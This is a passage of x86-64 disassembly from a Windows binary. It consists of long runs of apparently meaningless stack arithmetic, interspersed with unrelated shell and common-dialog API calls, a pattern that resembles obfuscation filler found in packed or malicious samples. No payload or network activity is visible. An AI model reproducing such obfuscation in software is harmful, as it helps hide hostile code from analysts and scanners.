or eax, ecx
mov byte [rsp + 0x2e1], al
movsx eax, word [rsp + 0x2d6c]
movsx ecx, word [rsp + 0x3230]
add eax, ecx
mov word [rsp + 0x2e20], ax
mov rax, qword [rsp + 0xddc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c88], ax
mov rax, qword [rsp + 0xb628]
mov rcx, qword [rsp + 0x9ce0]
xor rcx, rax
mov rax, rcx
mov qword [str.sXp], rax
lea rax, [rsp + 0xb358]
mov qword [rsp + 0x101b8], rax
mov rax, qword [rsp + 0x100e0]
mov rcx, qword [rsp + 0xc7a0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xe830], rax
mov rax, qword [rsp + 0xdb98]
mov rax, qword [rax]
mov qword [rsp + 0x101c0], rax
movzx eax, word [rsp + 0x2d38]
movzx ecx, word [rsp + 0x3254]
shl eax, cl
mov word [rsp + 0x21cc], ax
movzx eax, byte [rsp + 0x557]
movzx ecx, byte [rsp + 0x3b8]
or eax, ecx
mov byte [rsp + 0x3a9], al
mov eax, dword [rsp + 0x5a68]
mov rcx, qword [rsp + 0xe7b0]
mov qword [rsp + 0x101c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x101c8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xed00]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe960]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3aa]
sub eax, ecx
mov byte [rsp + 0x5f1], al
mov rax, qword [rsp + 0xf990]
mov eax, dword [rax]
mov dword [rsp + 0x72dc], eax
mov rax, qword [rsp + 0xe408]
mov rax, qword [rax]
mov qword [0x14019f848], rax
movsx eax, word [rsp + 0x3010]
mov rcx, qword [rsp + 0xe828]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xfc70]
mov word [rcx], ax
mov rax, qword [rsp + 0xd0b0]
movzx eax, word [rax]
mov word [rsp + 0x32ec], ax
mov rax, qword [rsp + 0xfd90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd800]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3168], ax
mov rax, qword [rsp + 0xe240]
mov rcx, qword [rsp + 0xf9a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xf770], rax
movsx eax, byte [rsp + 0x531]
mov rcx, qword [rsp + 0xd438]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x419], al
mov rax, qword [rsp + 0x9790]
mov rcx, qword [0x14019f0f8]
mov qword [rsp + 0x101d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x101d0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xde10], rax
mov eax, dword [rsp + 0x6cf4]
mov dword [rsp + 0x72e0], eax
mov rax, qword [rsp + 0x10070]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1910]
sar eax, cl
mov word [rsp + 0x2c5c], ax
mov rax, qword [rsp + 0xfdc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10d8]
or eax, ecx
mov word [0x14019d3e8], ax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xea68]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xd538], rax
mov rax, qword [rsp + 0xd7a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ed8]
and eax, ecx
mov word [rsp + 0x1c1c], ax
mov rax, qword [rsp + 0xdd60]
mov ecx, dword [rsp + 0x6ff4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6e7c], eax
lea rax, [rsp + 0x513]
mov qword [rsp + 0x101d8], rax
mov rax, qword [rsp + 0xe580]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14019f218]
shr rax, cl
mov qword [rsp + 0xf870], rax
mov rax, qword [rsp + 0xe500]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe450]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
mov rax, qword [rsp + 0x10048]
mov eax, dword [rax]
mov dword [rsp + 0x72e4], eax
mov rax, qword [rsp + 0xd258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3274]
shl eax, cl
mov word [rsp + 0x2f84], ax
movzx eax, word [rsp + 0x25c0]
mov rcx, qword [rsp + 0xd8a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019f79c], ax
mov rax, qword [rsp + 0xea68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf9e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaef0], rax
mov rax, qword [rsp + 0xe700]
mov rcx, qword [rsp + 0xe098]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe3a0], rax
mov rax, qword [rsp + 0xf7c0]
movzx eax, word [rax]
mov word [rsp + 0x32f0], ax
mov rax, qword [rsp + 0xfdf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3128]
add eax, ecx
mov word [rsp + 0x1cc0], ax
mov rax, qword [rsp + 0xd0e8]
mov rcx, qword [rsp + 0xfec8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd6c0], rax
mov rax, qword [rsp + 0xfc28]
mov eax, dword [rax]
mov dword [rsp + 0x72e8], eax
movsx eax, byte [rsp + 0x3c7]
mov rcx, qword [rsp + 0xdd70]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x14e], al
mov rax, qword [rsp + 0xedd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xeb58]
mov qword [rsp + 0x101e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x101e0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc908], rax
movzx eax, word [rsp + 0x2e80]
mov word [0x14019f850], ax
movzx eax, word [rsp + 0x18e0]
movzx ecx, word [rsp + 0x150c]
xor eax, ecx
mov word [rsp + 0x2f28], ax
mov eax, dword [rsp + 0x6d44]
mov ecx, dword [rsp + 0x6f10]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xfd70]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x5f3]
mov byte [rsp + 0x601], al
mov edx, reloc.SHELL32.dll_SHTestTokenMembership
mov rcx, qword [rsp + 0xd8b8]
call sub.SHELL32.dll_SHTestTokenMembership
mov dword [rsp + 0x6bc8], eax
mov rax, qword [rsp + 0xec50]
mov rax, qword [rax]
mov rcx, qword [0x14019f578]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa0e8], rax
lea rax, [rsp + 0x5ab4]
mov qword [rsp + 0x101e8], rax
mov rax, qword [rsp + 0xff48]
mov rcx, qword [rsp + 0xded0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb788], rax
movsx eax, byte [0x14019ef9a]
movsx ecx, byte [rsp + 0x4e0]
sub eax, ecx
mov byte [rsp + 0x144], al
mov rax, qword [rsp + 0xd7d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xff88]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1464], ax
movzx eax, word [rsp + 0x2ca4]
movzx ecx, word [rsp + 0x28e0]
or eax, ecx
mov word [0x14019f228], ax
mov rax, qword [rsp + 0xe0e8]
movzx ecx, al
mov rax, qword [rsp + 0xf878]
sar rax, cl
mov qword [rsp + 0xc4b0], rax
movzx eax, word [rsp + 0x1bb0]
mov word [rsp + 0x32f4], ax
mov rax, qword [0x14019f190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x30f4]
sub eax, ecx
mov word [rsp + 0x3138], ax
mov rax, qword [rsp + 0xe808]
mov rax, qword [rax]
mov qword [rsp + 0x101f0], rax
mov rax, qword [rsp + 0xfc48]
mov rcx, qword [rsp + 0xde10]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x90a0], rax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2b5]
add eax, ecx
mov byte [rsp + 0x569], al
mov rax, qword [rsp + 0xe1a8]
mov ecx, dword [rsp + 0x6f14]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x626c], eax
mov rax, qword [rsp + 0xdca8]
movzx eax, word [rax]
movzx ecx, word [0x14019f090]
add eax, ecx
mov word [rsp + 0x2aac], ax
mov rax, qword [rsp + 0xf9f0]
mov qword [0x14019f858], rax
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
mov dword [rsp + 0x72ec], eax
movzx eax, byte [rsp + 0x51f]
movzx ecx, byte [0x14019d010]
and eax, ecx
mov byte [rsp + 0x4ef], al
mov rax, qword [rsp + 0xf6f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xf9c0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2c9c], ax
lea rax, [rsp + 0x1180]
mov qword [rsp + 0x101f8], rax
mov rax, qword [rsp + 0xf990]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x712c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x71ac], eax
movsx eax, byte [rsp + 0x3b2]
mov rcx, qword [rsp + 0xf758]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x449], al
mov rax, qword [rsp + 0xf1a0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xad08]
shr rax, cl
mov qword [rsp + 0xd568], rax
mov rax, qword [0x14019f1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1714]
sub eax, ecx
mov word [rsp + 0x2dd8], ax
mov rax, qword [rsp + 0xf0b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019f228], ax
mov rax, qword [rsp + 0xe9d8]
mov rax, qword [rax]
mov qword [rsp + 0x10200], rax
mov rax, qword [rsp + 0xcfe0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14019f130]
shl rax, cl
mov qword [rsp + 0xe778], rax
mov rax, qword [rsp + 0xcfe8]
mov qword [rsp + 0x10208], rax
movsx eax, word [rsp + 0x2b94]
movsx ecx, word [rsp + 0x32e8]
sar eax, cl
mov word [rsp + 0x1eb8], ax
mov rax, qword [rsp + 0xdd18]
mov rcx, qword [rsp + 0x9f98]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xeb20], rax
mov rax, qword [rsp + 0xe2f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5e5]
sub eax, ecx
mov byte [rsp + 0x6e], al
mov eax, dword [rsp + 0x58cc]
imul eax, dword [rsp + 0x6d64]
mov dword [rsp + 0x71f4], eax
movzx eax, byte [rsp + 0x282]
mov byte [rsp + 0x602], al
mov rax, qword [rsp + 0xda60]
mov ecx, dword [rsp + 0x6dd0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5be0], eax
movsx eax, word [0x14019d2d8]
movsx ecx, word [rsp + 0x3044]
and eax, ecx
mov word [0x14019d3ec], ax
mov rax, qword [rsp + 0xf848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xffe8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1be4], ax
mov rax, qword [rsp + 0xef28]
movzx eax, word [rax]
mov rcx, qword [0x14019f018]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xfd90]
mov word [rcx], ax
mov rax, qword [rsp + 0xe868]
mov rcx, qword [rsp + 0xee38]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xdab0], rax
lea rax, [rsp + 0xc3]
mov qword [rsp + 0x10210], rax
mov eax, dword [0x14019d1dc]
mov rcx, qword [rsp + 0xd198]
mov qword [rsp + 0x10218], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10218]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7268], eax
mov rax, qword [rsp + 0xccc8]
mov qword [rsp + 0x10220], rax
mov rax, qword [rsp + 0xd0b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc68]
sub eax, ecx
mov word [rsp + 0x2e4c], ax
movzx eax, word [0x14019f278]
movzx ecx, word [rsp + 0xf84]
add eax, ecx
mov word [rsp + 0x2cd0], ax
mov rax, qword [rsp + 0xe808]
mov rcx, qword [rsp + 0xe700]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14019f630], rax
mov rax, qword [rsp + 0xef28]
movzx eax, word [rax]
mov word [rsp + 0x32f8], ax
mov rax, qword [rsp + 0xfaf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xae70]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9778], rax
mov r9d, 0x7f
mov r8, qword [rsp + 0x10228]
lea rdx, [rsp + 0xd4e8]
mov rcx, qword [rsp + 0xe890]
call qword [sym.imp.SHELL32.dll_SHPathPrepareForWriteW]
mov dword [rsp + 0x6f28], eax
mov rax, qword [rsp + 0xf058]
mov rcx, qword [rsp + 0xd780]
mov qword [rsp + 0x10230], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10230]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x90f0], rax
mov rax, qword [0x14019f098]
mov rcx, qword [rsp + 0xe388]
mov qword [rsp + 0x10238], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10238]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd390], rax
mov rax, qword [rsp + 0x10180]
mov rcx, qword [rsp + 0xea98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x58c8], eax
movzx eax, byte [rsp + 0x548]
mov byte [rsp + 0x603], al
lea rcx, [rsp + 0x1e8d0]
call qword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov qword [rsp + 0xe998], rax
mov rax, qword [rsp + 0xd050]
mov rcx, qword [rsp + 0xee10]
mov eax, dword [rax]
imul eax, dword [rcx]
mov rcx, qword [rsp + 0xf2d8]
mov dword [rcx], eax
lea rax, [rsp + 0x3a7]
mov qword [rsp + 0x10240], rax
mov rax, qword [rsp + 0xd770]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdb90]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14019d3e4], ax
mov rax, qword [0x14019f508]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2e78]
and eax, ecx
mov rcx, qword [rsp + 0xf470]
mov word [rcx], ax
mov rax, qword [rsp + 0x10160]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3040]
xor eax, ecx
mov word [rsp + 0x13fc], ax
movzx eax, word [rsp + 0x28e0]
movzx ecx, word [0x14019f188]
or eax, ecx
mov word [rsp + 0x1b94], ax
mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd1c8]
mov qword [rsp + 0x10248], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10248]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xdf38], rax
mov rax, qword [rsp + 0xf990]
mov eax, dword [rax]
mov dword [rsp + 0x72f0], eax
mov rax, qword [rsp + 0xf570]
movsx eax, byte [rax]
mov rcx, qword [0x14019f180]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x58a], al
mov rcx, qword [rsp + 0xd140]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Unlock]
mov dword [rsp + 0x6f80], eax
mov rax, qword [rsp + 0xd0b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e1c]
sub eax, ecx
mov word [rsp + 0x1114], ax
mov rax, qword [rsp + 0xd888]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf210]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1180], ax
mov rax, qword [0x14019d2d0]
mov qword [0x14019f860], rax
mov rax, qword [rsp + 0xe000]
mov rcx, qword [rsp + 0xd6f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe8f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xfe50]
mov rax, qword [rax]
mov qword [rsp + 0x10250], rax
mov rax, qword [0x14019f150]
mov rcx, qword [rsp + 0xfd38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xf068], rax
movzx eax, word [rsp + 0x1014]
mov word [rsp + 0x32fc], ax
mov rax, qword [rsp + 0xea38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1d8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x4f6], al
mov eax, dword [rsp + 0x6eb4]
mov rcx, qword [rsp + 0xf468]
mov qword [rsp + 0x10258], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10258]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x63a0], eax
mov rax, qword [rsp + 0xf200]
mov rcx, qword [rsp + 0xee48]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8e60], rax
movsx eax, byte [rsp + 0x52a]
movsx ecx, byte [rsp + 0x57e]
add eax, ecx
mov rcx, qword [rsp + 0xefe0]
mov byte [rcx], al
mov rax, qword [rsp + 0xf628]
mov rcx, qword [rsp + 0xdc60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019d1dc], eax
mov rax, qword [rsp + 0xd770]
movzx eax, word [rax]
mov word [rsp + 0x3300], ax
mov rax, qword [rsp + 0xe1b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d7c]
and eax, ecx
mov word [rsp + 0x2a50], ax
movzx eax, word [rsp + 0x2d04]
mov rcx, qword [rsp + 0xefb8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2d94], ax
mov rax, qword [rsp + 0xec20]
mov rcx, qword [0x14019d250]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa6d0], rax
mov eax, dword [rsp + 0x636c]
mov rcx, qword [rsp + 0xda70]
mov qword [rsp + 0x10260], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10260]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6184], eax
movzx eax, byte [rsp + 0x221]
mov byte [rsp + 0x604], al
mov rax, qword [0x14019f120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd328]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe7f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdc40]
movzx eax, word [rax]
mov word [rsp + 0x3304], ax
mov rax, qword [rsp + 0xe318]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a1c]
sar eax, cl
mov word [0x14019d3f0], ax
mov rax, qword [rsp + 0xecf0]
mov rcx, qword [0x14019f238]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa080], rax
mov rax, qword [rsp + 0xffe8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c48]
add eax, ecx
mov word [rsp + 0x2a10], ax
movzx eax, byte [rsp + 0x3fb]
movzx ecx, byte [rsp + 0x553]
add eax, ecx
mov byte [rsp + 0x2f0], al
mov rax, qword [rsp + 0xf530]
mov eax, dword [rax]
imul eax, dword [rsp + 0x72d0]
mov rcx, qword [rsp + 0xf530]
mov dword [rcx], eax
mov rax, qword [rsp + 0xfd88]
mov qword [rsp + 0x10268], rax
mov eax, dword [rsp + 0x6b88]
mov ecx, dword [rsp + 0x714c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xf628]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe3c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xec80]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xf7], al
mov rax, qword [rsp + 0xf640]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2dc8]
sar eax, cl
mov word [rsp + 0xcac], ax
lea rax, [0x14019f0a0]
mov qword [0x14019f868], rax
xor r8d, r8d
lea rdx, [rsp + 0x7298]
lea rcx, [rsp + 0xff80]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x72f4], eax
mov rax, qword [rsp + 0xefa8]
mov rcx, qword [rsp + 0xfae8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xfb80], rax
mov rax, qword [rsp + 0xf578]
mov qword [rsp + 0x10270], rax
mov rax, qword [rsp + 0xd9b8]
movsx eax, word [rax]
mov rcx, qword [0x14019f508]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2d78], ax
mov rax, qword [rsp + 0xd828]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x26a8]
sub eax, ecx
mov word [rsp + 0x22ec], ax
mov rax, qword [rsp + 0xeca8]
movzx eax, byte [rax]
mov byte [rsp + 0x605], al
mov rax, qword [rsp + 0xe408]
mov rcx, qword [rsp + 0xf920]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd300], rax
lea rax, [rsp + 0x636c]
mov qword [rsp + 0x10278], rax
mov rax, qword [rsp + 0xa678]
movzx ecx, al
mov rax, qword [rsp + 0xefc8]
shl rax, cl
mov qword [rsp + 0xca50], rax
movsx eax, word [rsp + 0x2a7c]
movsx ecx, word [rsp + 0xedc]
or eax, ecx
mov word [0x14019f668], ax
mov rax, qword [rsp + 0xdb00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf0b0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x17c4], ax
mov rax, qword [rsp + 0xda60]
mov ecx, dword [rsp + 0x6eb8]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x6284], eax
movzx eax, byte [rsp + 0x4e7]
movzx ecx, byte [rsp + 0x2dc]
sub eax, ecx
mov rcx, qword [rsp + 0xe578]
mov byte [rcx], al
mov rax, qword [rsp + 0xb218]
mov qword [rsp + 0x10280], rax
mov rax, qword [rsp + 0xfa48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5b7]
add eax, ecx
mov rcx, qword [rsp + 0xfb90]
mov byte [rcx], al
mov rax, qword [rsp + 0xe388]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x101b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd90], rax
mov eax, dword [rsp + 0x6658]
mov ecx, dword [rsp + 0x7020]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x70c0], eax
movsx eax, word [rsp + 0x2e4c]
mov rcx, qword [rsp + 0xf898]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc8c], ax
movzx eax, word [rsp + 0x24a4]
mov word [0x14019f870], ax
mov rax, qword [rsp + 0xd720]
mov rax, qword [rax]
mov qword [rsp + 0x10288], rax
mov rax, qword [rsp + 0xeed0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2dd0]
sar eax, cl
mov word [rsp + 0x2a68], ax
movzx eax, word [rsp + 0x20a4]
mov word [rsp + 0x3308], ax
mov rax, qword [rsp + 0xd388]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xeb08]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xe258], rax
movsx eax, byte [0x14019ef9c]
movsx ecx, byte [rsp + 0x2dd]
xor eax, ecx
mov byte [rsp + 0x4f2], al
mov rax, qword [rsp + 0xea00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc4b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7e0], rax
mov rax, qword [rsp + 0xdd80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xdf20]
mov qword [rsp + 0x10290], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10290]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6f34], eax
movzx eax, word [rsp + 0x2f24]
mov word [rsp + 0x330c], ax
mov rax, qword [rsp + 0xebc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb860]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14019f048]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe6d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf668]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x57c], al
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6a58]
shl eax, cl
mov dword [rsp + 0x63c8], eax
mov rax, qword [rsp + 0xf4e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd878]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1418], ax
movzx eax, word [0x14019f5fc]
movzx ecx, word [rsp + 0x1b84]
sub eax, ecx
mov word [rsp + 0x2c88], ax
mov rax, qword [rsp + 0xda38]
mov qword [rsp + 0x10298], rax
mov rcx, qword [rsp + 0xf728]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x6d88], eax
movsx eax, byte [rsp + 0x52b]
movsx ecx, byte [rsp + 0xe7]
sub eax, ecx
mov byte [rsp + 0x5f0], al
mov rax, qword [rsp + 0xd0d0]
mov rcx, qword [rsp + 0xda70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5990], eax
movsx eax, word [rsp + 0x32d8]
mov rcx, qword [rsp + 0xdd10]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2e2c], ax
movzx eax, word [rsp + 0x2d08]
movzx ecx, word [rsp + 0x2cd0]
add eax, ecx
mov word [0x14019d3f4], ax
mov rax, qword [rsp + 0xfb10]
mov rcx, qword [rsp + 0xd048]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9b10], rax
mov rax, qword [rsp + 0xe8d8]
mov qword [rsp + 0x102a0], rax
mov rax, qword [0x14019f268]
mov rcx, qword [rsp + 0xd320]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xe740]
mov qword [rcx], rax
mov rax, qword [rsp + 0xfa90]
movzx eax, word [rax]
mov word [rsp + 0x3310], ax
mov rax, qword [rsp + 0xdfa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x63b8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x60f4], eax
mov rax, qword [rsp + 0xdb78]
mov rax, qword [rax]
mov rcx, qword [0x14019eff0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c08], rax
movsx eax, byte [rsp + 0x6f]
mov rcx, qword [rsp + 0xf570]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1c2], al
mov eax, dword [rsp + 0x6e54]
movzx ecx, al
mov eax, dword [rsp + 0x67bc]
shl eax, cl
mov dword [rsp + 0x7034], eax
movzx eax, byte [rsp + 0xe3]
mov byte [rsp + 0x606], al
mov rax, qword [rsp + 0xf430]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x326c]
sub eax, ecx
mov word [0x14019efd8], ax
mov rax, qword [rsp + 0xecd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd4e0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2bc0], ax
mov rax, qword [rsp + 0xf630]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x31d8], ax
mov rax, qword [0x14019f598]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf540]
mov qword [rsp + 0x102a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x102a8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb560], rax
movsx eax, byte [rsp + 0x76]
movsx ecx, byte [rsp + 0x520]
sub eax, ecx
mov byte [rsp + 0x1b2], al
lea rax, [rsp + 0x6d94]
mov qword [rsp + 0x102b0], rax
mov rax, qword [rsp + 0xd3b8]
mov rcx, qword [rsp + 0xd210]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xe638], rax
movsx eax, word [rsp + 0x2ee0]
movsx ecx, word [rsp + 0x2ea8]
add eax, ecx
mov rcx, qword [rsp + 0xf2e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xda50]
movzx eax, word [rax]
mov word [rsp + 0x3314], ax
mov rax, qword [rsp + 0xd2e0]
mov rcx, qword [0x14019f838]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x14019d2d0], rax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd620]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a48], ax
mov rax, qword [rsp + 0xdcb0]
mov qword [rsp + 0x102b8], rax
mov rax, qword [rsp + 0xd720]
mov rcx, qword [rsp + 0xfa08]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc508], rax
lea rax, [rsp + 0xd5f8]
mov qword [rsp + 0x102c0], rax
movsx eax, byte [rsp + 0x155]
mov rcx, qword [rsp + 0xf8e0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x500], al
mov rax, qword [rsp + 0x10098]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe820]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x592], al
mov eax, dword [rsp + 0x6f0c]
mov ecx, dword [rsp + 0x6d8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5b7c], eax
mov rax, qword [rsp + 0xe1a8]
movsx eax, byte [rsp + 0x4df]
movsx ecx, byte [0x14019ef91]
or eax, ecx
mov byte [rsp + 0x346], al
mov eax, dword [rsp + 0x6c24]
movzx ecx, al
mov eax, dword [rsp + 0x6bd0]
shr eax, cl
mov dword [rsp + 0x5cf0], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
